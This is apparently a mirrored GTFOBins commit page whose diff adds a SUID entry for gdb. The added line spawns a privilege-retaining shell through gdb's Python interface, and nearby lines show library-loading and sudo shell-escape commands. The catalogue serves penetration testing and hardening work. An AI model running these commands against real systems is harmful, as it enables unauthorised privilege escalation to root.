mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add missing SUID in gdb
This commit is contained in:
parent
2377be5a55
commit
d7d463ee0c
@ -47,6 +47,8 @@ functions:
|
||||
library-load:
|
||||
- description: This requires that GDB is compiled with Python support.
|
||||
code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit
|
||||
suid:
|
||||
- code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
|
||||
sudo:
|
||||
- code: sudo gdb -nx -ex '!sh' -ex quit
|
||||
capabilities:
|
||||
|
Loading…
Reference in New Issue
Block a user